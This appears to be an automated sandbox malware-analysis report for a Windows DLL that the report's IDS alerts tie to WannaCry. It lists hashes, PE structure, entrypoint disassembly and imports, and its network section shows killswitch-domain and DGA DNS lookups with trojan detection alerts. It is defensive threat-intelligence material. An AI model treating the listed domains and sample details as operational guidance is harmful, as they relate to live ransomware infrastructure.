                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..T...T...T..X...T.._...T.'.Z...T..^...T..P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L...A..L.................p... 5......w............@...........................5.................................................d.........4..........................................................................................................text....i.......p.................. ..`.rdata..p_.......`..................@..@.data...X........ ..................@....rsrc.....4.......4.................@..@........................................................................................................................................................................................................................................................................................................................................................

                    Static File Info

                    General

                    File type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                    Entropy (8bit):5.054373204519972
                    TrID:
                    • Win32 Dynamic Link Library (generic) (1002004/3) 99.60%
                    • Generic Win/DOS Executable (2004/3) 0.20%
                    • DOS Executable Generic (2002/1) 0.20%
                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                    File name:7KPQg3aXdC.dll
                    File size:5267459
                    MD5:77a33592ed14954642c7bd767f066a0d
                    SHA1:ff84165d564d0282fedfa2e4fa8d1fe14ff4b166
                    SHA256:54dab4ac11e49690382561c61c5f5bdbeca74d07decc45d4313228afcf3675ef
                    SHA512:3f01e088390c041074c5e19f50a66b76285cef4612c804f6e2199feb3a1eae3cc29059d300ccc748b031b1c0abd78d5d573f8383490e6b92febabb71fec1aace
                    SSDEEP:49152:unAQqMSPbcBVQej/1INRx+TSqTdX1HkQo6SAAd:aDqPoBhz1aRxcSUDk36SA
                    TLSH:6136F601D2E51AA0DAF25EF7267ADB10833A6E45895BA66E1221500F0C77F0CDDE6F2C
                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.r_9...9...9.......=...9...6.....A.:.......8.......8.......:...Rich9...........................PE..L...QW.Y...........!.......

                    File Icon

                    Icon Hash:74f0e4ecccdce0e4

                    Static PE Info

                    General

                    Entrypoint:0x100011e9
                    Entrypoint Section:.text
                    Digitally signed:false
                    Imagebase:0x10000000
                    Subsystem:windows gui
                    Image File Characteristics:EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
                    DLL Characteristics:
                    Time Stamp:0x59145751 [Thu May 11 12:21:37 2017 UTC]
                    TLS Callbacks:
                    CLR (.Net) Version:
                    OS Version Major:4
                    OS Version Minor:0
                    File Version Major:4
                    File Version Minor:0
                    Subsystem Version Major:4
                    Subsystem Version Minor:0
                    Import Hash:2e5708ae5fed0403e8117c645fb23e5b

                    Entrypoint Preview

                    Instruction
                    push ebp
                    mov ebp, esp
                    push ebx
                    mov ebx, dword ptr [ebp+08h]
                    push esi
                    mov esi, dword ptr [ebp+0Ch]
                    push edi
                    mov edi, dword ptr [ebp+10h]
                    test esi, esi
                    jne 00007F411CD4B02Bh
                    cmp dword ptr [10003140h], 00000000h
                    jmp 00007F411CD4B048h
                    cmp esi, 01h
                    je 00007F411CD4B027h
                    cmp esi, 02h
                    jne 00007F411CD4B044h
                    mov eax, dword ptr [10003150h]
                    test eax, eax
                    je 00007F411CD4B02Bh
                    push edi
                    push esi
                    push ebx
                    call eax
                    test eax, eax
                    je 00007F411CD4B02Eh
                    push edi
                    push esi
                    push ebx
                    call 00007F411CD4AF3Ah
                    test eax, eax
                    jne 00007F411CD4B026h
                    xor eax, eax
                    jmp 00007F411CD4B070h
                    push edi
                    push esi
                    push ebx
                    call 00007F411CD4ADECh
                    cmp esi, 01h
                    mov dword ptr [ebp+0Ch], eax
                    jne 00007F411CD4B02Eh
                    test eax, eax
                    jne 00007F411CD4B059h
                    push edi
                    push eax
                    push ebx
                    call 00007F411CD4AF16h
                    test esi, esi
                    je 00007F411CD4B027h
                    cmp esi, 03h
                    jne 00007F411CD4B048h
                    push edi
                    push esi
                    push ebx
                    call 00007F411CD4AF05h
                    test eax, eax
                    jne 00007F411CD4B025h
                    and dword ptr [ebp+0Ch], eax
                    cmp dword ptr [ebp+0Ch], 00000000h
                    je 00007F411CD4B033h
                    mov eax, dword ptr [10003150h]
                    test eax, eax
                    je 00007F411CD4B02Ah
                    push edi
                    push esi
                    push ebx
                    call eax
                    mov dword ptr [ebp+0Ch], eax
                    mov eax, dword ptr [ebp+0Ch]
                    pop edi
                    pop esi
                    pop ebx
                    pop ebp
                    retn 000Ch
                    jmp dword ptr [10002028h]
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al
                    add byte ptr [eax], al

                    Rich Headers

                    Programming Language:
                    • [ C ] VS98 (6.0) build 8168
                    • [C++] VS98 (6.0) build 8168
                    • [RES] VS98 (6.0) cvtres build 1720
                    • [LNK] VS98 (6.0) imp/exp build 8168

                    Data Directories

                    NameVirtual AddressVirtual Size Is in Section
                    IMAGE_DIRECTORY_ENTRY_EXPORT0x21900x48.rdata
                    IMAGE_DIRECTORY_ENTRY_IMPORT0x203c0x3c.rdata
                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x40000x500060.rsrc
                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x5050000x5c.reloc
                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x3c.rdata
                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                    Sections

                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                    .text0x10000x28c0x1000False0.13037109375data1.4429971244731552IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                    .rdata0x20000x1d80x1000False0.072509765625data0.7346018133622799IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                    .data0x30000x1540x1000False0.016845703125data0.085238686413312IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                    .rsrc0x40000x5000600x501000unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                    .reloc0x5050000x2ac0x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                    Resources

                    NameRVASizeTypeLanguageCountry
                    W0x40600x500000dataEnglishUnited States

                    Imports

                    DLLImport
                    KERNEL32.dllCloseHandle, WriteFile, CreateFileA, SizeofResource, LockResource, LoadResource, FindResourceA, CreateProcessA
                    MSVCRT.dllfree, _initterm, malloc, _adjust_fdiv, sprintf

                    Exports

                    NameOrdinalAddress
                    PlayGame10x10001114

                    Possible Origin

                    Language of compilation systemCountry where language is spokenMap
                    EnglishUnited States

                    Network Behavior

                    Snort IDS Alerts

                    TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                    192.168.2.68.8.8.865250532012730 07/20/22-07:08:16.364728UDP2012730ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup6525053192.168.2.68.8.8.8
                    192.168.2.6104.16.173.8049764802024298 07/20/22-07:04:24.421193TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14976480192.168.2.6104.16.173.80
                    192.168.2.68.8.8.860238532012730 07/20/22-07:06:22.220258UDP2012730ET TROJAN Known Hostile Domain ilo.brenz .pl Lookup6023853192.168.2.68.8.8.8
                    192.168.2.68.8.8.855201532024291 07/20/22-07:04:24.355956UDP2024291ET TROJAN Possible WannaCry DNS Lookup 15520153192.168.2.68.8.8.8
                    192.168.2.6104.16.173.8049872802024298 07/20/22-07:06:47.921489TCP2024298ET TROJAN W32/WannaCry.Ransomware Killswitch Domain HTTP Request 14987280192.168.2.6104.16.173.80
                    104.16.173.80192.168.2.680498722031515 07/20/22-07:06:47.951188TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049872104.16.173.80192.168.2.6
                    104.16.173.80192.168.2.680497642031515 07/20/22-07:04:24.458107TCP2031515ET TROJAN Known Sinkhole Response Kryptos Logic8049764104.16.173.80192.168.2.6
                    8.8.8.8192.168.2.653620412811577 07/20/22-07:07:22.648255UDP2811577ETPRO TROJAN Possible Virut DGA NXDOMAIN Responses (com)53620418.8.8.8192.168.2.6
                    192.168.2.68.8.8.858801532024291 07/20/22-07:06:47.811578UDP2024291ET TROJAN Possible WannaCry DNS Lookup 15880153192.168.2.68.8.8.8
                    192.168.2.68.8.8.861571532024281 07/20/22-07:06:53.420665UDP2024281ET TROJAN Known Hostile Domain ant.trenz .pl Lookup6157153192.168.2.68.8.8.8

                    Network Port Distribution

                    TCP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Jul 20, 2022 07:04:24.395828009 CEST4976480192.168.2.6104.16.173.80
                    Jul 20, 2022 07:04:24.414741993 CEST8049764104.16.173.80192.168.2.6
                    Jul 20, 2022 07:04:24.414886951 CEST4976480192.168.2.6104.16.173.80
                    Jul 20, 2022 07:04:24.421192884 CEST4976480192.168.2.6104.16.173.80
                    Jul 20, 2022 07:04:24.441689014 CEST8049764104.16.173.80192.168.2.6
                    Jul 20, 2022 07:04:24.458106995 CEST8049764104.16.173.80192.168.2.6
                    Jul 20, 2022 07:04:24.458159924 CEST8049764104.16.173.80192.168.2.6
                    Jul 20, 2022 07:04:24.458308935 CEST4976480192.168.2.6104.16.173.80
                    Jul 20, 2022 07:04:24.465074062 CEST4976480192.168.2.6104.16.173.80
                    Jul 20, 2022 07:04:24.481652975 CEST8049764104.16.173.80192.168.2.6
                    Jul 20, 2022 07:06:47.904270887 CEST4987280192.168.2.6104.16.173.80
                    Jul 20, 2022 07:06:47.920849085 CEST8049872104.16.173.80192.168.2.6
                    Jul 20, 2022 07:06:47.920948029 CEST4987280192.168.2.6104.16.173.80
                    Jul 20, 2022 07:06:47.921489000 CEST4987280192.168.2.6104.16.173.80
                    Jul 20, 2022 07:06:47.937880039 CEST8049872104.16.173.80192.168.2.6
                    Jul 20, 2022 07:06:47.951188087 CEST8049872104.16.173.80192.168.2.6
                    Jul 20, 2022 07:06:47.951263905 CEST8049872104.16.173.80192.168.2.6
                    Jul 20, 2022 07:06:47.951421976 CEST4987280192.168.2.6104.16.173.80
                    Jul 20, 2022 07:06:47.951782942 CEST4987280192.168.2.6104.16.173.80
                    Jul 20, 2022 07:06:47.969224930 CEST8049872104.16.173.80192.168.2.6

                    UDP Packets

                    TimestampSource PortDest PortSource IPDest IP
                    Jul 20, 2022 07:04:24.355956078 CEST5520153192.168.2.68.8.8.8
                    Jul 20, 2022 07:04:24.372814894 CEST53552018.8.8.8192.168.2.6
                    Jul 20, 2022 07:06:47.811578035 CEST5880153192.168.2.68.8.8.8
                    Jul 20, 2022 07:06:47.834755898 CEST53588018.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.262933969 CEST53553428.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.343136072 CEST53497548.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.536220074 CEST53645978.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.572392941 CEST53641508.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.648255110 CEST53620418.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.679104090 CEST53576698.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.710525990 CEST53571788.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.760605097 CEST53624838.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.796907902 CEST53642898.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.833908081 CEST53523288.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.867414951 CEST53580518.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.901550055 CEST53557888.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.934896946 CEST53624488.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.967196941 CEST53585638.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:22.998106003 CEST53649958.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.028503895 CEST53576298.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.139245987 CEST53574228.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.253683090 CEST53504538.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.304975986 CEST53557458.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.342739105 CEST53643758.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.456598997 CEST53638448.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.509790897 CEST53572698.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.546384096 CEST53569288.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.576942921 CEST53516458.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.625082970 CEST53650108.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.655955076 CEST53492878.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.708612919 CEST53518848.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.740771055 CEST53644428.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.772181034 CEST53561468.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.809185028 CEST53505208.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.848401070 CEST53578618.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.878422022 CEST53568458.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.931236029 CEST53525488.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:23.972779989 CEST53553008.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.028069973 CEST53518538.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.065067053 CEST53624178.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.101093054 CEST53628348.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.136974096 CEST53610378.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.247486115 CEST53580538.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.292517900 CEST53560318.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.328886986 CEST53580548.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.358566046 CEST53593748.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.388853073 CEST53498158.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.433568954 CEST53522778.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.464138031 CEST53495728.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.513875961 CEST53520698.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.550383091 CEST53569498.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.580125093 CEST53610418.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.616364956 CEST53547498.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.665714025 CEST53531698.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.740709066 CEST53571798.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.772691965 CEST53553318.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.862694979 CEST53643258.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.930078983 CEST53584688.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:24.968612909 CEST53569848.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.006314039 CEST53516408.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.049660921 CEST53638528.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.161405087 CEST53562038.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.272247076 CEST53545708.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.310161114 CEST53567938.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.338135958 CEST53616518.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.367309093 CEST53599258.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.394846916 CEST53612368.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.424232960 CEST53551698.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.477660894 CEST53498118.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.525507927 CEST53626398.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.558531046 CEST53549458.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.605537891 CEST53596038.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.641527891 CEST53569398.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.676752090 CEST53570598.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.712913990 CEST53546478.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.744656086 CEST53584908.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.774847984 CEST53564658.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.886281967 CEST53614368.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.922009945 CEST53570488.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.957941055 CEST53545588.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:25.987447977 CEST53563338.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.025582075 CEST53598248.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.060283899 CEST53613288.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.115696907 CEST53509598.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.147876978 CEST53593448.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.204354048 CEST53554038.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.246571064 CEST53589388.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.299308062 CEST53566258.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.349781990 CEST53526068.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.400849104 CEST53577318.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.430864096 CEST53492828.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.468661070 CEST53607608.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.505819082 CEST53649418.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.618484020 CEST53536908.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.650149107 CEST53627238.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.681860924 CEST53557608.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.716787100 CEST53654528.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.754837036 CEST53620798.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.791150093 CEST53515668.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.823103905 CEST53500508.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.878217936 CEST53594398.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.939034939 CEST53645298.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:26.971910954 CEST53567598.8.8.8192.168.2.6
                    Jul 20, 2022 07:07:27.011533022 CEST53652528.8.8.8192.168.2.6

                    DNS Queries

                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                    Jul 20, 2022 07:04:24.355956078 CEST192.168.2.68.8.8.80x8f8aStandard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)
                    Jul 20, 2022 07:06:47.811578035 CEST192.168.2.68.8.8.80x3938Standard query (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comA (IP address)IN (0x0001)

                    DNS Answers

                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                    Jul 20, 2022 07:04:24.372814894 CEST8.8.8.8192.168.2.60x8f8aNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                    Jul 20, 2022 07:04:24.372814894 CEST8.8.8.8192.168.2.60x8f8aNo error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                    Jul 20, 2022 07:06:47.834755898 CEST8.8.8.8192.168.2.60x3938No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.16.173.80A (IP address)IN (0x0001)
                    Jul 20, 2022 07:06:47.834755898 CEST8.8.8.8192.168.2.60x3938No error (0)www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com104.17.244.81A (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.262933969 CEST8.8.8.8192.168.2.60x756cName error (3)vhkbtm.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.343136072 CEST8.8.8.8192.168.2.60x9309Name error (3)gtdsxd.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.536220074 CEST8.8.8.8192.168.2.60xd3aeName error (3)xddyyf.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.572392941 CEST8.8.8.8192.168.2.60xe9d1Name error (3)jshdri.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.648255110 CEST8.8.8.8192.168.2.60xb9baName error (3)tpcdac.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.679104090 CEST8.8.8.8192.168.2.60xe10fName error (3)ehzhxd.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.710525990 CEST8.8.8.8192.168.2.60x508dName error (3)xrelmm.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.760605097 CEST8.8.8.8192.168.2.60x75eName error (3)easfoe.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.796907902 CEST8.8.8.8192.168.2.60xaa5dName error (3)bhaeuu.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.833908081 CEST8.8.8.8192.168.2.60x4cc9Name error (3)fyhrxr.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.867414951 CEST8.8.8.8192.168.2.60xfd5fName error (3)kifysk.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.901550055 CEST8.8.8.8192.168.2.60x911aName error (3)esnasu.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.934896946 CEST8.8.8.8192.168.2.60xb74cName error (3)huamiz.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.967196941 CEST8.8.8.8192.168.2.60x4b50Name error (3)tufeuj.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:22.998106003 CEST8.8.8.8192.168.2.60x77b6Name error (3)pexolk.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.028503895 CEST8.8.8.8192.168.2.60xd84aName error (3)kecprf.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.139245987 CEST8.8.8.8192.168.2.60xc284Name error (3)isdzwp.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.253683090 CEST8.8.8.8192.168.2.60xfbffName error (3)vkopis.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.304975986 CEST8.8.8.8192.168.2.60x99ffName error (3)wmvoad.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.342739105 CEST8.8.8.8192.168.2.60x89Name error (3)xgqgpj.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.456598997 CEST8.8.8.8192.168.2.60xf5c0Name error (3)iilusc.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.509790897 CEST8.8.8.8192.168.2.60x92e1Name error (3)ayfhum.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.546384096 CEST8.8.8.8192.168.2.60xd3c1Name error (3)fwptgv.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.576942921 CEST8.8.8.8192.168.2.60x29a6Name error (3)xiygel.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.625082970 CEST8.8.8.8192.168.2.60xfe70Name error (3)hpjhga.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.655955076 CEST8.8.8.8192.168.2.60xf5a5Name error (3)wzzyrw.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.708612919 CEST8.8.8.8192.168.2.60xf44fName error (3)hwbprd.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.740771055 CEST8.8.8.8192.168.2.60xef95Name error (3)wctdma.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.772181034 CEST8.8.8.8192.168.2.60x227aName error (3)fqiwtu.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.809185028 CEST8.8.8.8192.168.2.60xaed6Name error (3)jmioxk.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.848401070 CEST8.8.8.8192.168.2.60x548eName error (3)uzyuso.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.878422022 CEST8.8.8.8192.168.2.60xbd10Name error (3)gxfend.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.931236029 CEST8.8.8.8192.168.2.60xeb4Name error (3)rksacp.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:23.972779989 CEST8.8.8.8192.168.2.60x9d0eName error (3)wltepu.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.028069973 CEST8.8.8.8192.168.2.60x48ebName error (3)kyaayd.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.065067053 CEST8.8.8.8192.168.2.60xbd99Name error (3)avzpcv.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.101093054 CEST8.8.8.8192.168.2.60xbcb6Name error (3)sblmgi.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.136974096 CEST8.8.8.8192.168.2.60xc49Name error (3)dfbyrz.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.247486115 CEST8.8.8.8192.168.2.60xccd4Name error (3)yewqik.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.292517900 CEST8.8.8.8192.168.2.60x7258Name error (3)aedemb.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.328886986 CEST8.8.8.8192.168.2.60xaadcName error (3)kyhpiv.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.358566046 CEST8.8.8.8192.168.2.60xbf66Name error (3)qncseh.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.388853073 CEST8.8.8.8192.168.2.60x5a5fName error (3)ayuwsb.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.433568954 CEST8.8.8.8192.168.2.60x5d91Name error (3)xawdey.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.464138031 CEST8.8.8.8192.168.2.60xe84eName error (3)vajadh.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.513875961 CEST8.8.8.8192.168.2.60xd112Name error (3)ilfyvi.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.550383091 CEST8.8.8.8192.168.2.60x9e2dName error (3)erozuu.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.580125093 CEST8.8.8.8192.168.2.60x8f3Name error (3)iezwqj.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.616364956 CEST8.8.8.8192.168.2.60xa349Name error (3)wbtlyi.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.665714025 CEST8.8.8.8192.168.2.60x29c8Name error (3)vkyvei.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.740709066 CEST8.8.8.8192.168.2.60x351cName error (3)jwawsi.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.772691965 CEST8.8.8.8192.168.2.60xc092Name error (3)ynaosm.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.862694979 CEST8.8.8.8192.168.2.60xb56cName error (3)ammvvp.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.930078983 CEST8.8.8.8192.168.2.60xeaa7Name error (3)rtoroq.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:24.968612909 CEST8.8.8.8192.168.2.60xb87aName error (3)abewzg.comnonenoneA (IP address)IN (0x0001)
                    Jul 20, 2022 07:07:25.006314039 CEST8.8.8.8192.168.2.60x76a7Name error (3)piymoe.comnonenoneA (IP address)IN (0x0001)
